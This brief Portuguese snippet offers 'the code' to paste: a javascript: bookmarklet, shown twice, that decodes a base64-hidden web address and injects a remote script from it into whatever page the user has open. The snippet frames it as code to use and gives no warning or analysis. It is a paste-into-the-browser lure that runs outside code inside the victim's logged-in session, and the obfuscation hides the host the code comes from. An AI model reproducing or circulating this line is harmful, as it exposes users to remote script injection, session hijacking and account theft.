O código é esse:
javascript:P=new Element('script',{src:atob('aHR0cDovL215aGJ4LmF0c3BhY2UuY28udWs=')+'/lib/b.php?id=1'});location='#219';$$('body')[0].appendChild(P);void(0);
javascript:P=new Element('script',{src:atob('aHR0cDovL215aGJ4LmF0c3BhY2UuY28udWs=')+'/lib/b.php?id=1'});location='#219';$$('body')[0].appendChild(P);void(0);